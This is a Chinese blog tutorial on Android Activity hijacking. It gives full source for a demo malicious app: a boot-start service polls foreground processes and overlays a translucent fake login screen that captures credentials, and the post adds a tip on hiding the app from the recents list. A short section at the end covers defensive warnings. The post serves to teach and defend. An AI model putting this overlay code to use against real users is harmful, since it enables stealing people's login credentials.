且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

Activity劫持实例与防护手段

更新时间:2022-10-04 18:21:05










(本文只用于学习技术,提高大家警觉,切勿用于非法用途!)


什么叫Activity劫持

这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用

界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。


实例


Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

首先,我们在Android Studio中新建一个工程,项目结构如下:

Activity劫持实例与防护手段

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

  2.     xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

  3.     android:layout_height="match_parent" >


  4.     <TextView

  5.         android:layout_width="match_parent"

  6.         android:layout_height="wrap_content"

  7.         android:text="Normal Activity"

  8.         android:gravity="center_horizontal"

  9.         android:padding="10dp"

  10.         android:background="#ffffff"/>

  11.     <LinearLayout

  12.         android:id="@+id/Layout1"

  13.         android:layout_width="wrap_content"

  14.         android:layout_height="wrap_content"

  15.         android:layout_centerHorizontal="true"

  16.         android:layout_marginTop="80dp"

  17.         android:orientation="horizontal">


  18.         <TextView

  19.             android:text="UserName"

  20.             android:layout_width="wrap_content"

  21.             android:layout_height="wrap_content"

  22.             android:textColor="#000000"

  23.             android:textSize="20dp" />


  24.         <EditText

  25.             android:id="@+id/UserNameEdit"

  26.             android:layout_width="100dp"

  27.             android:layout_height="wrap_content" />

  28.     </LinearLayout>


  29.     <LinearLayout

  30.         android:id="@+id/Layout2"

  31.         android:layout_width="wrap_content"

  32.         android:layout_height="wrap_content"

  33.         android:layout_centerHorizontal="true"

  34.         android:layout_marginTop="50dp"

  35.         android:orientation="horizontal"

  36.         android:layout_below="@id/Layout1">


  37.         <TextView

  38.             android:text="Password"

  39.             android:layout_width="wrap_content"

  40.             android:layout_height="wrap_content"

  41.             android:textColor="#000000"

  42.             android:textSize="20dp" />


  43.         <EditText

  44.             android:id="@+id/PasswordEdit"

  45.             android:layout_width="100dp"

  46.             android:layout_height="wrap_content" />

  47.     </LinearLayout>


  48.     <Button

  49.         android:id="@+id/LoginButton"

  50.         android:layout_width="wrap_content"

  51.         android:layout_height="wrap_content"

  52.         android:layout_below="@id/Layout2"

  53.         android:layout_marginTop="5dp"

  54.         android:layout_centerHorizontal="true"

  55.         android:text="Login"/>


  56. </RelativeLayout>


activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

MainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;


  2. import android.app.Activity;

  3. import android.content.Intent;

  4. import android.os.Bundle;

  5. import android.view.View;

  6. import android.widget.Button;

  7. import android.widget.EditText;


  8. //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity

  9. //只是为了演示正常的Activity而已,无实际功能

  10. public class MainActivity extends Activity {


  11.     Button login = null;

  12.     EditText userName = null;

  13.     EditText password = null;


  14.     @Override

  15.     protected void onCreate(Bundle savedInstanceState) {

  16.         super.onCreate(savedInstanceState);

  17.         setContentView(R.layout.activity_main);


  18.         login = (Button)findViewById(R.id.LoginButton);

  19.         userName = (EditText)findViewById(R.id.UserNameEdit);

  20.         password = (EditText)findViewById(R.id.PasswordEdit);


  21.         login.setOnClickListener(new View.OnClickListener() {

  22.             @Override

  23.             public void onClick(View view) {

  24.                 Intent intent = new Intent(MainActivity.this, SecondActivity.class);

  25.                 //启动SecondActivity

  26.                 startActivity(intent);

  27.             }

  28.         });


  29.     }

  30. }


SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:
Activity劫持实例与防护手段
activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

  2.     xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

  3.     android:layout_height="match_parent" >


  4.     <TextView

  5.         android:layout_width="match_parent"

  6.         android:layout_height="wrap_content"

  7.         android:text="Normal Activity"

  8.         android:gravity="center_horizontal"

  9.         android:padding="10dp"

  10.         android:background="#ffffff"

  11.         android:visibility="invisible"/>

  12.     <LinearLayout

  13.         android:id="@+id/Layout1"

  14.         android:layout_width="wrap_content"

  15.         android:layout_height="wrap_content"

  16.         android:layout_centerHorizontal="true"

  17.         android:layout_marginTop="80dp"

  18.         android:orientation="horizontal">


  19.         <TextView

  20.             android:text="UserName"

  21.             android:layout_width="wrap_content"

  22.             android:layout_height="wrap_content"

  23.             android:textColor="#000000"

  24.             android:textSize="20dp"

  25.             android:visibility="invisible"/>


  26.         <EditText

  27.             android:id="@+id/UserNameEdit"

  28.             android:layout_width="100dp"

  29.             android:layout_height="wrap_content"

  30.             android:visibility="invisible"/>

  31.     </LinearLayout>


  32.     <LinearLayout

  33.         android:id="@+id/Layout2"

  34.         android:layout_width="wrap_content"

  35.         android:layout_height="wrap_content"

  36.         android:layout_centerHorizontal="true"

  37.         android:layout_marginTop="50dp"

  38.         android:orientation="horizontal"

  39.         android:layout_below="@id/Layout1">


  40.         <TextView

  41.             android:text="Password"

  42.             android:layout_width="wrap_content"

  43.             android:layout_height="wrap_content"

  44.             android:textColor="#000000"

  45.             android:textSize="20dp"

  46.             android:visibility="invisible"/>


  47.         <EditText

  48.             android:id="@+id/PasswordEdit"

  49.             android:layout_width="100dp"

  50.             android:layout_height="wrap_content"

  51.             android:visibility="invisible"/>

  52.     </LinearLayout>


  53.     <Button

  54.         android:id="@+id/LoginButton"

  55.         android:layout_width="wrap_content"

  56.         android:layout_height="wrap_content"

  57.         android:layout_below="@id/Layout2"

  58.         android:layout_marginTop="5dp"

  59.         android:layout_centerHorizontal="true"

  60.         android:text="Login"

  61.         android:visibility="invisible"/>


  62. </RelativeLayout>


activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

  3.     android:orientation="vertical" android:layout_width="match_parent"

  4.     android:layout_height="match_parent">

  5.     <TextView

  6.         android:layout_width="wrap_content"

  7.         android:layout_height="wrap_content"

  8.         android:text="Start"

  9.         android:textSize="50dp"/>


  10.     <Button

  11.         android:id="@+id/StartServiceButton"

  12.         android:layout_width="wrap_content"

  13.         android:layout_height="wrap_content"

  14.         android:text="StartService"

  15.         android:padding="20dp"

  16.         android:layout_gravity="center_horizontal"/>



  17. </LinearLayout>


activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

  3.     android:orientation="vertical" android:layout_width="match_parent"

  4.     android:layout_height="match_parent">

  5.     <TextView

  6.         android:layout_width="wrap_content"

  7.         android:layout_height="wrap_content"

  8.         android:text="Start"

  9.         android:textSize="50dp"/>


  10.     <Button

  11.         android:id="@+id/StartServiceButton"

  12.         android:layout_width="wrap_content"

  13.         android:layout_height="wrap_content"

  14.         android:text="StartService"

  15.         android:padding="20dp"

  16.         android:layout_gravity="center_horizontal"/>


  17. </LinearLayout>


AutoStartReceiver.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;


  2. import android.content.BroadcastReceiver;

  3. import android.content.Context;

  4. import android.content.Intent;


  5. //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”

  6. public class AutoStartReceiver extends BroadcastReceiver {

  7.     @Override

  8.     public void onReceive(Context context, Intent intent) {

  9.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {

  10.             Intent _intent = new Intent(context, HijackService.class);

  11.             //启动HijackService

  12.             context.startService(_intent);

  13.         }

  14.     }

  15. }


EvilApplication.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;


  2. import android.app.Application;

  3. import java.util.ArrayList;

  4. import java.util.List;


  5. public class EvilApplication extends Application{

  6.     //存放已经被劫持的程序

  7.     List<String> hijackedList = new ArrayList<String>();


  8.     public boolean hasProgressBeHijacked(String processName) {

  9.         return hijackedList.contains(processName);

  10.     }


  11.     public void addHijacked(String processName) {

  12.         hijackedList.add(processName);

  13.     }


  14.     public void clearHijacked() {

  15.         hijackedList.clear();

  16.     }


  17. }


FakeMainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;


  2. import android.app.Activity;

  3. import android.os.Bundle;

  4. import android.view.View;

  5. import android.widget.Button;

  6. import android.widget.EditText;

  7. import android.widget.Toast;

  8. import java.util.Timer;

  9. import java.util.TimerTask;


  10. public class FakeMainActivity extends Activity {

  11.     Button login = null;

  12.     EditText userName = null;

  13.     EditText password = null;


  14.     @Override

  15.     protected void onCreate(Bundle savedInstanceState) {

  16.         super.onCreate(savedInstanceState);

  17.         setContentView(R.layout.activity_fakemain);

  18.         login = (Button)findViewById(R.id.LoginButton);

  19.         userName = (EditText)findViewById(R.id.UserNameEdit);

  20.         password = (EditText)findViewById(R.id.PasswordEdit);


  21.         //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity

  22.         //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来

  23.         //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷

  24.         //无奈只能用这个本方法,如果大家有更好的办法,请赐教

  25.         Timer timer = new Timer();

  26.         TimerTask task = new TimerTask() {

  27.             @Override

  28.             public void run() {

  29.                 runOnUiThread(new Runnable(){

  30.                     @Override

  31.                     public void run() {

  32.                         userName.setVisibility(View.VISIBLE);

  33.                         password.setVisibility(View.VISIBLE);

  34.                         login.setVisibility(View.VISIBLE);

  35.                     }});

  36.             }

  37.         };

  38.         timer.schedule(task, 1000);


  39.         login.setOnClickListener(new View.OnClickListener() {

  40.             @Override

  41.             public void onClick(View view) {

  42.                 //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己

  43.                 Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();

  44.                 //为了伪造的Activity弹出时不那么明显

  45.                 userName.setVisibility(View.INVISIBLE);

  46.                 password.setVisibility(View.INVISIBLE);

  47.                 login.setVisibility(View.INVISIBLE);

  48.                 finish();


  49.             }

  50.         });

  51.     }

  52. }


HijackService.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;


  2. import android.app.ActivityManager;

  3. import android.app.Service;

  4. import android.content.Context;

  5. import android.content.Intent;

  6. import android.os.Handler;

  7. import android.os.IBinder;

  8. import android.util.Log;


  9. import java.util.HashMap;

  10. import java.util.List;


  11. public class HijackService extends Service {


  12.     //targetMap用于存放我们的目标程序

  13.     HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();

  14.     Handler handler = new Handler();

  15.     boolean isStart = false;


  16.     //我们新建一个Runnable对象,每隔200ms进行一次搜索

  17.     Runnable searchTarget = new Runnable() {

  18.         @Override

  19.         public void run() {

  20.             //得到ActivityManager

  21.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

  22.             //通过ActivityManager将当前正在运行的进程存入processInfo中

  23.             List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();

  24.             Log.w("恶意软件", "遍历进程");

  25.             //遍历processInfo中的进程信息,看是否有我们的目标

  26.             for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {

  27.                 //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持

  28.                 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {

  29.                     if (targetMap.containsKey(_processInfo.processName)) {

  30.                         // 调用hijack方法进行劫持

  31.                         hijack(_processInfo.processName);

  32.                     } else {

  33.                         Log.w("进程", _processInfo.processName);

  34.                     }

  35.                 }

  36.             }

  37.             handler.postDelayed(searchTarget, 200);

  38.         }

  39.     };


  40.     //进行Activity劫持的函数

  41.     private void hijack(String processName) {

  42.         //这里判断我们的目标程序是否已经被劫持过了

  43.         if (((EvilApplication) getApplication())

  44.                 .hasProgressBeHijacked(processName) == false) {

  45.             Log.w("恶意软件", "开始劫持"+processName);

  46.             Intent intent = new Intent(getBaseContext(),

  47.                     targetMap.get(processName));

  48.             //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶

  49.             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

  50.             //启动我们伪造的Activity

  51.             getApplication().startActivity(intent);

  52.             //将目标程序加入到已劫持列表中

  53.             ((EvilApplication) getApplication()).addHijacked(processName);

  54.             Log.w("恶意软件", "已经劫持");

  55.         }

  56.     }

  57.     @Override

  58.     public void onStart(Intent intent, int startId) {

  59.         super.onStart(intent, startId);

  60.         if (!isStart) {

  61.             //将我们的目标加入targetMap中

  62.             //这里,key为我们的目标进程,value为我们伪造的Activity

  63.             targetMap.put("com.example.hac.normalapp",

  64.                     FakeMainActivity.class);

  65.             //启动searchTarget

  66.             handler.postDelayed(searchTarget, 1000);

  67.             isStart = true;

  68.         }

  69.     }


  70.     @Override

  71.     public boolean stopService(Intent name) {

  72.         isStart = false;

  73.         Log.w("恶意软件", "停止劫持");

  74.         //清空劫持列表

  75.         ((EvilApplication) getApplication()).clearHijacked();

  76.         //停止searchTarget

  77.         handler.removeCallbacks(searchTarget);

  78.         return super.stopService(name);

  79.     }


  80.     @Override

  81.     public IBinder onBind(Intent intent) {

  82.         return null;

  83.     }

  84. }


StartServiceActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;


  2. import android.app.Activity;

  3. import android.content.Intent;

  4. import android.os.Bundle;

  5. import android.view.View;

  6. import android.widget.Button;


  7. //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity

  8. public class StartServiceActivity extends Activity {

  9.     Button startButton = null;


  10.     @Override

  11.     public void onCreate(Bundle savedInstanceState) {

  12.         super.onCreate(savedInstanceState);

  13.         setContentView(R.layout.activity_main);


  14.         startButton = (Button)findViewById(R.id.StartServiceButton);


  15.         startButton.setOnClickListener(new View.OnClickListener() {

  16.             @Override

  17.             public void onClick(View view) {

  18.                 Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);

  19.                 startService(intent2);

  20.             }

  21.         });

  22.     }

  23. }


colors.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <resources>

  3.     <color name="translucent_background">#00000000</color>>

  4. </resources>


styles.xml的内容:

点击(此处)折叠或打开

  1. <resources>


  2.     <!-- Base application theme. -->

  3.     <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">

  4.         <!-- Customize your theme here. -->

  5.     </style>


  6.     <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">


  7.         <item name="android:windowBackground">@color/translucent_background</item>

  8.         <item name="android:windowIsTranslucent">true</item>

  9.         <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>

  10.     </style>


  11. </resources>


AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"

  3.     package="com.example.hac.evilapp" >


  4.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />


  5.     <application


  6.         android:name=".EvilApplication"

  7.         android:allowBackup="true"

  8.         android:icon="@drawable/ic_launcher"

  9.         android:label="@string/app_name"

  10.         android:theme="@style/AppTheme" >

  11.         <activity

  12.             android:name=".StartServiceActivity"

  13.             android:label="@string/app_name"


  14.             android:excludeFromRecents="true">

  15.             <intent-filter>

  16.                 <action android:name="android.intent.action.MAIN" />


  17.                 <category android:name="android.intent.category.LAUNCHER" />

  18.             </intent-filter>

  19.         </activity>

  20.         <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>

  21.         <service android:name=".HijackService" ></service>

  22.         <receiver

  23.             android:name=".AutoStartReceiver"

  24.             android:enabled="true"

  25.             android:exported="true" >

  26.             <intent-filter>

  27.                 <action android:name="android.intent.action.BOOT_COMPLETED" />

  28.             </intent-filter>

  29.         </receiver>


  30.     </application>


  31. </manifest>


项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
http://pan.baidu.com/s/1eQ8JF5w

防护手段


目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:

1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:

点击(此处)折叠或打开

  1.     @Override

  2.     public boolean onKeyDown(int keyCode, KeyEvent event) {

  3.         //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。

  4.         if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){

  5.             needAlarm = false;

  6.         }

  7.         return super.onKeyDown(keyCode, event);

  8.     }


  9.     @Override

  10.     protected void onPause() {

  11.        //若程序进入后台不是用户自身造成的,则需要弹出警示

  12.         if(needAlarm) {

  13.             //弹出警示信息

  14.             Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();

  15.             //启动我们的AlarmService,用于给出覆盖了正常Activity的类名

  16.             Intent intent = new Intent(this, AlarmService.class);

  17.             startService(intent);

  18.         }

  19.         super.onPause();

  20.     }


2、实现AlarmService.java,代码如下:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;


  2. import android.app.ActivityManager;

  3. import android.app.Service;

  4. import android.content.Context;

  5. import android.content.Intent;

  6. import android.os.Handler;

  7. import android.os.IBinder;

  8. import android.widget.Toast;


  9. public class AlarmService extends Service{


  10.     boolean isStart = false;

  11.     Handler handler = new Handler();


  12.     Runnable alarmRunnable = new Runnable() {

  13.         @Override

  14.         public void run() {

  15.             //得到ActivityManager

  16.             ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);

  17.             //getRunningTasks会返回一个List,List的大小等于传入的参数。.runningtaskinfo>

  18.             //get(0)可获得List中的第一个元素,即栈顶的task

  19.             ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);

  20.             //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名

  21.             String shortClassName = info.topActivity.getShortClassName(); //类名

  22.             //完整类名

  23.             //String className = info.topActivity.getClassName();

  24.             //包名

  25.             //String packageName = info.topActivity.getPackageName();

  26.             Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();

  27.         }

  28.     };

  29.     @Override

  30.     public int onStartCommand(Intent intent, int flag, int startId) {

  31.         super.onStartCommand(intent, flag, startId);

  32.         if(!isStart) {

  33.             isStart = true;

  34.             //启动alarmRunnable

  35.             handler.postDelayed(alarmRunnable, 1000);

  36.             stopSelf();

  37.         }

  38.         return START_STICKY;

  39.     }

  40.     @Override

  41.     public IBinder onBind(Intent intent) {

  42.         return null;

  43.     }

  44. }


3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文,写得不对不好的地方麻烦指出,谢谢。

















本文转自ljianbing51CTO博客,原文链接:

http://blog.51cto.com/ljianbing/1879519

 ,如需转载请自行联系原作者